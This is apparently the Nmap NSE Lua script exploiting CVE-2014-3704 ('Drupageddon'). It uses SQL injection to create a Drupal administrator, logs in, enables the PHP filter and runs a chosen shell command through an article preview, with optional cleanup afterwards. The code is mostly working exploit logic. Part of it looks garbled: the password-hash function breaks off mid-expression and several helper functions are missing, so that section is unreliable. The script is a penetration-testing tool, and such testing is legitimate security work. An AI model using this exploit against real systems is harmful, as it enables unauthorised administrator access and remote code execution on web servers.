local bit = require "bit" local http = require "http" local shortport = require "shortport" local stdnse = require "stdnse" local string = require "string" local table = require "table" local url = require "url" local vulns = require "vulns" local re = require "re" local openssl = require "openssl" description = [[ Exploits CVE-2014-3704 also known as 'Drupageddon' in Drupal. Versions < 7.32 of Drupal core are known to be affected. Vulnerability allows remote attackers to conduct SQL injection attacks via an array containing crafted keys. The script injects new Drupal administrator user via login form and then it attempts to log in as this user to determine if target is vulnerable. If that's the case following exploitation steps are performed: * PHP filter module which allows embedded PHP code/snippets to be evaluated is enabled, * permission to use PHP code for administrator users is set, * new article which contains payload is created & previewed, * cleanup: by default all DB records that were added/modified by the script are restored. Vulnerability originally discovered by Stefan Horst from SektionEins. Exploitation technique used to achieve RCE on the target is based on exploit/multi/http/drupal_drupageddon Metasploit module. ]] --- -- @usage -- nmap --script http-vuln-cve2014-3704 --script-args http-vuln-cve2014-3704.cmd="uname -a",http-vuln-cve2014-3704.uri="/drupal" -- nmap --script http-vuln-cve2014-3704 --script-args http-vuln-cve2014-3704.uri="/drupal",http-vuln-cve2014-3704.cleanup=false -- -- @output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack -- | http-vuln-cve2014-3704: -- | VULNERABLE: -- | Drupal - pre Auth SQL Injection Vulnerability -- | State: VULNERABLE (Exploitable) -- | IDs: CVE:CVE-2014-3704 -- | The expandArguments function in the database abstraction API in -- | Drupal core 7.x before 7.32 does not properly construct prepared -- | statements, which allows remote attackers to conduct SQL injection -- | attacks via an array containing crafted keys. -- | -- | Disclosure date: 2014-10-15 -- | Exploit results: -- | Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.51-1 x86_64 GNU/Linux -- | References: -- | https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html -- | https://www.drupal.org/SA-CORE-2014-005 -- | http://www.securityfocus.com/bid/70595 -- |_ https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3704 -- -- @args http-vuln-cve2014-3704.uri Drupal root directory on the website. Default: / -- @args http-vuln-cve2014-3704.cmd Shell command to execute. Default: nil -- @args http-vuln-cve2014-3704.cleanup Indicates whether cleanup (removing DB -- records that was added/modified during -- exploitation phase) will be done. -- Default: true --- author = "Mariusz Ziulek " license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"vuln", "intrusive", "exploit"} portrule = shortport.http --- Appends a new multipart/form-data part to a table local function multipart_append_data(r, k, data, extra) r[#r + 1] = string.format("content-disposition: form-data; name=\"%s\"", k) if extra.filename then r[#r + 1] = string.format("; filename=\"%s\"", extra.filename) end if extra.content_type then r[#r + 1] = string.format("\r\ncontent-type: %s", extra.content_type) end if extra.content_transfer_encoding then r[#r + 1] = string.format("\r\ncontent-transfer-encoding: %s", extra.content_transfer_encoding) end r[#r + 1] = string.format("\r\n\r\n%s\r\n", data) end --- Creates multipart/form-data message as defined in RFC 2388 local function multipart_build_body(content, boundary) local r = {} local k, v for k, v in pairs(content) do r[#r + 1] = string.format("--%s\r\n", boundary) if type(v) == "string" then multipart_append_data(r, k, v, {}) elseif type(v) == "table" then if v.data == nil then return nil end local extra = { filename = v.filename or v.name, content_type = v.content_type or v.mimetype or "application/octet-stream", content_transfer_encoding = v.content_transfer_encoding or "binary", } multipart_append_data(r, k, v.data, extra) else return nil end end r[#r + 1] = string.format("--%s--\r\n", boundary) return table.concat(r) end local function extract_CSRFtoken(content) local pattern = 'name="form_token" value="(.-)"' local value = string.match(content, pattern) return value end local function itoa64(index) local itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' return string.sub(itoa64, index + 1, index + 1) end local function phpass_encode64(input) local count = #input + 1 local out = {} local cur = 1 while cur < count do local value = string.byte(input, cur) cur = cur + 1 table.insert(out, itoa64(bit.band(value, 0x3f))) if cur < count then value = bit.bor(value, bit.lshift(string.byte(input, cur), 8)) end table.insert(out, itoa64(bit.band(bit.rshift(value, 6), 0x3f))) if cur >= count then break end cur = cur + 1 if cur < count then value = bit.bor(value, bit.lshift(string.byte(input, cur), 16)) end table.insert(out, itoa64(bit.band(bit.rshift(value, 12), 0x3f))) if cur >= count then break end cur = cur + 1 table.insert(out, itoa64(bit.band(bit.rshift(value, 18), 0x3f))) end return table.concat(out) end local function gen_passwd_hash(passwd) local iter = 15 local iter_char = itoa64(iter) local iter_count = 1<" local boundary = stdnse.generate_random_string(16) opt['header'] = {} opt['header']["Content-Type"] = "multipart/form-data" .. "; boundary=" .. boundary local files = { ['title'] = 'title', ['form_id'] = 'article_node_form', ['form_token'] = csrfToken, ['body[und][0][value]'] = payload, ['body[und][0][format]'] = 'php_code', ['op'] = 'Preview', } local body = multipart_build_body(files, boundary) res = http.post(host, port, uri .. "/node/add/article", opt, nil, body) if res == nil then return nil end return res.body, pattern end action = function(host, port) local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/' local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil local cleanup = nil if stdnse.get_script_args(SCRIPT_NAME..".cleanup") == "false" then cleanup = "false" end local user, passwd = do_sql_query(host, port, uri, nil) stdnse.debug(1, string.format("logging in as admin user (username: '%s'; passwd: '%s')", user, passwd)) local data = { ['name'] = user, ['pass'] = passwd, ['form_id'] = 'user_login', ['op'] = 'Log in', } local res = http.post(host, port, uri .. "/user/login", nil, nil, data) if res.status == 302 and res.cookies[1].name ~= nil then local vulnReport = vulns.Report:new(SCRIPT_NAME, host, port) local vuln = { title = 'Drupal - pre Auth SQL Injection Vulnerability', state = vulns.STATE.NOT_VULN, description = [[ The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing crafted keys. ]], IDS = {CVE = 'CVE-2014-3704'}, references = { 'https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html', 'https://www.drupal.org/SA-CORE-2014-005', 'http://www.securityfocus.com/bid/70595', }, dates = { disclosure = {year = '2014', month = '10', day = '15'}, }, } stdnse.debug(1, string.format("logged in as admin user (username: '%s'; passwd: '%s'). Target is vulnerable.", user, passwd)) vuln.state = vulns.STATE.EXPLOIT if cmd ~= nil then local session = {} session.name = res.cookies[1].name session.value = res.cookies[1].value set_php_filter(host, port, uri, session, false) set_permission(host, port, uri, session, false) local resp_content, pattern = trigger_exploit(host, port, uri, session, cmd) local cmdOut = nil for m in string.gmatch(resp_content, pattern .. '([^"]*)' .. pattern) do cmdOut = m break end if cmdOut ~= nil then vuln.exploit_results = cmdOut end -- cleanup: restore permission & disable php filter module if cleanup == nil then set_permission(host, port, uri, session, true) set_php_filter(host, port, uri, session, true) end end -- cleanup: remove admin user if cleanup == nil then do_sql_query(host, port, uri, user) end return vulnReport:make_output(vuln) end end